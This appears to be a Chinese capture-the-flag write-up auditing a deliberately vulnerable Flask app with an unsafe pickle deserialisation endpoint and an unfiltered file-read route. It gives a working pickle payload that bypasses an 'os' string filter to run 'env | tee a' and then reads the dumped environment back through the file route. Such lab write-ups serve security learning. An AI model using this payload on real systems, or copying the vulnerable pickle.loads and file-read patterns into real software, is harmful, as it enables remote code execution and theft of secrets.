代码审计
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
关键代码
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
会继续pickle反序列化,而且会替换os字符,还对flag进行了过滤替换
但是不会回显我们执行命令的结果,但是我们发现有一个读取文件的路由,所以思路基本上确定了,将命令执行的结果放在一个文件中
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('o'+'s').system('env | tee a')",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
当然因为这道题没有过滤,所以可以这样写,但是很多情况都有过滤,需要我们opcode方法来写